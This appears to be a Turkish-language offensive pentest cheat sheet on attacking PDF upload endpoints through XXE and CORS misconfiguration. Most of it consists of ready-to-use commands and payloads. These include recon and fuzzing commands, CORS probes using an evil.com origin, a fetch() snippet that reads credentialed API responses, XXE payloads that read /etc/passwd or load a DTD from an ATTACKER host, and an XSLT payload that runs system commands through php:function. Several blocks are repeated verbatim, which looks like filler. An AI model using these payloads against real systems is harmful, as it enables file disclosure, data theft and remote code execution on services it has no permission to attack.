Skip to content

PDF Upload - XXE and CORS bypass

web offensive

PDF Upload - XXE and CORS bypass web saldırı yüzeyidir. Giriş noktalarını izole edip kanıtlanabilir etki (okuma, yazma, RCE, auth bypass) üretmeye odaklan.

  1. PDF Upload - XXE and CORS bypass giriş noktalarını (param/header/cookie/upload/API) haritala.

  2. Hedefe özgü payload ve araçlarla hipotezi doğrula.

  3. Okuma/yazma/RCE/bypass etkisini somut kanıtla.

  4. Zincirleme senaryo ve kanıt paketini tamamla.

Hedef yığını, endpoint’leri ve auth sınırını netleştir.

Terminal window
curl -skI https://TARGET/
Terminal window
whatweb -a 3 https://TARGET
Terminal window
katana -u https://TARGET -jc -d 3 -o crawl.txt
Terminal window
ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,204,301,302,403
Terminal window
arjun -u https://TARGET/api/v1/item --get
Terminal window
curl -skI https://TARGET/api -H 'Origin: https://evil.com' | rg -i 'access-control'
Terminal window
curl -skI https://TARGET/api -H 'Origin: https://TARGET.evil.com' | rg -i 'access-control'
fetch('https://TARGET/api/me',{credentials:'include'}).then(r=>r.text()).then(alert)
null origin, reflected origin, wildcard + credentials
<?xml version="1.0"?><!DOCTYPE r [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><r>&xxe;</r>
<?xml version="1.0"?><!DOCTYPE r [<!ENTITY % dtd SYSTEM "http://ATTACKER/x.dtd">%dtd;]>
Terminal window
curl -sk -H 'Content-Type: application/xml' --data-binary @xxe.xml https://TARGET/xml
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:saxon="http://saxon.sf.net/" xmlns:php="http://php.net/xsl"><xsl:template match="/"><xsl:value-of select="php:function('system','id')"/></xsl:template></xsl:stylesheet>
Terminal window
curl -sk -F 'file=@evil.pdf' https://TARGET/upload
PDF içi XXE / JS → CORS misconfig ile API çalma
Terminal window
identify evil.pdf; exiftool evil.pdf

PDF Upload - XXE and CORS bypass sonuçları hedef sürüme ve yığına göre değişir. Her başarılı adımı request/response ile kaydet; sonraki pivot’u not et.

Terminal window
curl -sk https://TARGET/robots.txt
Terminal window
nuclei -u https://TARGET -as -silent
Terminal window
ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403
GET / HTTP/1.1
Host: TARGET
Accept: */*
Terminal window
mkdir -p evidence/web && tee evidence/web/notes.txt

Bu ekler keşif ve kanıt paketini hızlandırır; asıl sömürü üstteki bölümlerdeki konu-özel payload’larla yapılır.

Terminal window
curl -sk https://TARGET/robots.txt
Terminal window
curl -sk https://TARGET/sitemap.xml
Terminal window
ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403
Terminal window
nuclei -u https://TARGET -as -silent
GET / HTTP/1.1
Host: TARGET
Accept: */*
Terminal window
mkdir -p evidence/web && tee evidence/web/notes.txt
request/response
zaman damgası
kullanılan hesap
etki özeti
Terminal window
curl -sk https://TARGET/ -D evidence/web/headers.txt -o evidence/web/body.html